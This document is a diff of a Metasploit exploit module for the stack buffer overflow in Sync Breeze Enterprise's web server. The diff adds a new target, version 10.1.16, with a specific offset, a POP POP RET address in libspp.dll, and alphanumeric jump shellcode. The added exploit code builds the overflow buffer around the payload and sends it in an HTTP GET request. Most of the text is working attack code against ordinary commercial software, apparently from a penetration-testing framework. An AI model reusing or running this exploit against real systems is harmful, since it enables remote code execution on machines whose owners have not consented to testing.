@@ -15,17 +15,18 @@ def initialize(info = {})
15
15
'Name' => 'Sync Breeze Enterprise GET Buffer Overflow' ,
16
16
'Description' => %q{
17
17
This module exploits a stack-based buffer overflow vulnerability
18
- in the web interface of Sync Breeze Enterprise v9.4.28 and v10.0.28, caused by
19
- improper bounds checking of the request in HTTP GET and POST requests
20
- sent to the built-in web server. This module has been tested
21
- successfully on Windows 7 SP1 x86.
18
+ in the web interface of Sync Breeze Enterprise v9.4.28, v10.0.28,
19
+ and v10.1.16, caused by improper bounds checking of the request in
20
+ HTTP GET and POST requests sent to the built-in web server. This
21
+ module has been tested successfully on Windows 7 SP1 x86.
22
22
} ,
23
23
'License' => MSF_LICENSE ,
24
24
'Author' =>
25
25
[
26
26
'Daniel Teixeira' ,
27
- 'Andrew Smith' , # MSF support for v10.0.28
28
- 'Owais Mehtab' # Original v10.0.28 exploit
27
+ 'Andrew Smith' , # MSF support for v10.0.28
28
+ 'Owais Mehtab' , # Original v10.0.28 exploit
29
+ 'Milton Valencia (wetw0rk)' # MSF support for v10.1.16
29
30
] ,
30
31
'DefaultOptions' =>
31
32
{
@@ -53,6 +54,12 @@ def initialize(info = {})
53
54
'Offset' => 780 ,
54
55
'Ret' => 0x10090c83 # JMP ESP [libspp.dll]
55
56
}
57
+ ] ,
58
+ [ 'Sync Breeze Enterprise v10.1.16' ,
59
+ {
60
+ 'Offset' => 2495 ,
61
+ 'Ret' => 0x1001C65C # POP # POP # RET [libspp.dll]
62
+ }
56
63
]
57
64
] ,
58
65
'Privileged' => true ,
@@ -102,6 +109,9 @@ def get_target_name
102
109
when /10\. 0\. 28/
103
110
print_status ( 'Target is 10.0.28' )
104
111
return targets [ 2 ]
112
+ when /10\. 1\. 16/
113
+ print_status ( 'Target is 10.1.16' )
114
+ return targets [ 3 ]
105
115
else
106
116
nil
107
117
end
@@ -156,6 +166,35 @@ def exploit
156
166
'password' => "rawr"
157
167
}
158
168
)
169
+ when targets [ 3 ]
170
+ target = targets [ 3 ]
171
+ jumpcode = "\x25 \x4a \x4d \x4e \x55 " # and eax,0x554e4d4a
172
+ jumpcode << "\x25 \x35 \x32 \x31 \x2a " # and eax,0x2a313235
173
+ jumpcode << "\x2d \x37 \x37 \x37 \x37 " # sub eax,0x37373737
174
+ jumpcode << "\x2d \x74 \x74 \x74 \x74 " # sub eax,0x74747474
175
+ jumpcode << "\x2d \x55 \x54 \x55 \x70 " # sub eax,0x70555455
176
+ jumpcode << "\x50 " # push eax
177
+ jumpcode << "\x25 \x4a \x4d \x4e \x55 " # and eax,0x554e4d4a
178
+ jumpcode << "\x25 \x35 \x32 \x31 \x2a " # and eax,0x2a313235
179
+ jumpcode << "\x2d \x2d \x76 \x7a \x63 " # sub eax,0x637a762d
180
+ jumpcode << "\x2d \x2d \x76 \x7a \x30 " # sub eax,0x307a762d
181
+ jumpcode << "\x2d \x25 \x50 \x7a \x30 " # sub eax,0x307a5025
182
+ jumpcode << "\x50 " # push eax
183
+ jumpcode << "\xff \xe4 " # jmp esp
184
+
185
+ sploit = payload . encoded
186
+ sploit << 'A' * ( target [ 'Offset' ] - payload . encoded . length )
187
+ sploit << "\x74 \x06 \x75 \x06 "
188
+ sploit << [ target . ret ] . pack ( 'V' )
189
+ sploit << jumpcode
190
+ sploit << 'A' * ( 9067 - ( target [ 'Offset' ] + payload . encoded . length + 8 + jumpcode . length ) )
191
+
192
+ send_request_cgi (
193
+ 'uri' => '/' + sploit ,
194
+ 'method' => 'GET' ,
195
+ 'host' => '4.2.2.2' ,
196
+ 'connection' => 'keep-alive'
197
+ )
159
198
else
160
199
print_error ( "Exploit not suitable for this target." )
161
200
end
0 commit comments